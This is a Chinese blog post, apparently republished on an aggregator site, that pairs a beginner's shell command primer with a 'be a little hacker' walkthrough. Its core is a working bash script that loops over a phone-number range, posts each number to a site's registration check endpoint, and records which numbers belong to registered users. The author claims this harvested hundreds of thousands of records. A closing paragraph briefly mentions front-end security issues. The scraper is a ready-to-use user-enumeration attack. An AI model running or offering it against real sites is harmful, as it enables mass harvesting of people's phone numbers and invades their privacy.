[前端工坊]前端安全篇-shell脚本入门之教你做次小黑客获取某网站用户

Posted 前端工坊

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[前端工坊]前端安全篇-shell脚本入门之教你做次小黑客获取某网站用户相关的知识,希望对你有一定的参考价值。

| 作者: 京东金融-移动研发部-前端开发工程师  王志伟


前言


随着前端的发展,前后端分离的出现,很多数据都暴露在前端。

大家在强调用户体验的同时,要注意哪些安全问题呢?

今天教大家学习一下常用的命令,然后拿一个案例做一下讲解。

*注:以下代码请在 mac 环境下执行


上干货1 - 熟悉常用命令



进入目录:

当前用户目录

cd ~/ 

上级目录

cd ../

根据绝对路径进入指定目录

cd /Users/jason/www/work

创建目录

mkdir abc

创建多级目录

mkdir -p abc/c/d

查看目录

ls

查看目录的详细信息

ls -la

获取文件内容

cat a.txt

查看当前目录

pwd

查看日期

date

查看目录结构

tree命令 需要先安装 brew 然后 brew install tree 

件拷贝 

cp a.txt b.txt cp -r mdev/ mdev1

删除

rm -rf mdev mdev1

文件移动

mv

获取远程文件

curl http://www.baidu.com

输出文件到

>> curl http://www.baidu.com >> a.txt

压缩

zip zip -q -r abc.zip ./abc

解压缩

unzip abc.zip

重命名 

rename rename "s/AA/aa/" * //把文件名中的AA替换成aa

循环

for/while ----------------- for((i=1;i<100;i++)) do    if((i%3==0))    then        echo $i        continue    fi done ----------------- min=1 max=100 while [ $min -le $max ] do    echo $min    min=`expr $min + 1` done  

文件查找

find

查找当前目录和子目录中以 htm结尾的文件

find ./ -name "*.htm"

文件内容查找:搜索所有的.html文件中包含'open'字符串的文件,并将搜索结果保存到a.txt

grep -rl 'open' . --include=*.html >> a.txt

打开当前目录的图形化界面

open .


上干货2 - 实战


第一步:去网上找有安全问题的接口,例如,这种输入手机号失去焦点就可以告诉你有没有注册此网站。


第二步:安装jq
brew install jq

JQ是一个轻量级的、灵活的命令行的JSON处理器。


第三步:

新建文件 get-usr.sh


文件内容如下

#!/bin/sh #抓用户手机号 for (( i=13021499300; i<=13021499400; i++ )) do    abc=$(curl -d "phones=$i" "http://app.xxx.com/register/checkPhones")        echo $abc >> b5.json;        aa=$(jq .success b5.json)    rm b5.json    echo $aa    if [ "$aa" == false ]    then          echo $i >> 13021499.txt    fi     done

第四部:查看抓取的数据

[前端工坊]前端安全篇-shell脚本入门之教你做次小黑客获取某网站用户


第五步:查看抓取的数据量


代码解读:

遍历手机号段 13021499300 到 13021499400 的手机号

调用 http://app.xxx.com/register/checkPhones 接口,

这个接口可以去其他网站上找,输入手机号,失去焦点就可以判断是否为网站用户的接口。

将返回值,存入 b5.json(临时文件)

利用jq对象解析b5.json文件

aa=$(jq .success b5.json) 获取 b5.json 中 success 字段的值,将其存入 变量 aa

删除b5.json

在终端打印数据返回结果

当 success 字段的值为 false 的时候,将手机号存入 13021499.txt 文件中


总结:


大家可以看到,几行代码就轻松的搞到了几十万的数据。

其他类似的安全问题,比如,登录注册,不加验证码,接口被刷。

短信验证码无限制,被刷。

随着前端的发展,前后端分离的出现,好多数据都暴露在前端。

为Web前端的安全增加了难度,

web前端安全主要包含 Web前端安全的跨站脚本(XSS)、跨站请求伪造(CSRF)、

界面操作劫持这三 大类,

涉及的知识点涵盖信任与信任关系、Cookie安全、

FlaSh安全、DOM 渲染、字符集、跨域、原生态攻击、高级钓鱼、蠕虫思想等,

这些都是研究前端安全的人必备的知识点。

在做前端的时候,需求给到,要着重看一下,是否有安全隐患。

安全之路任重道远,各位前端同学还请多多重视。


  • https://www.w3cschool.cn/shellbook/uglqdozt.html

  • http://man.linuxde.net/

  • https://stedolan.github.io/jq/download/

  • https://brew.sh/

  • https://github.com/alebcay/awesome-shell

  • https://github.com/uhub/awesome-shell.git


以上是关于[前端工坊]前端安全篇-shell脚本入门之教你做次小黑客获取某网站用户的主要内容,如果未能解决你的问题,请参考以下文章

前端面试题整理—性能优化及安全篇

手把手教你做一个网页

手把手教你做一个网页

web开发性能优化---安全篇

unity实战:教你做黄豆君

unity实战:教你做黄豆君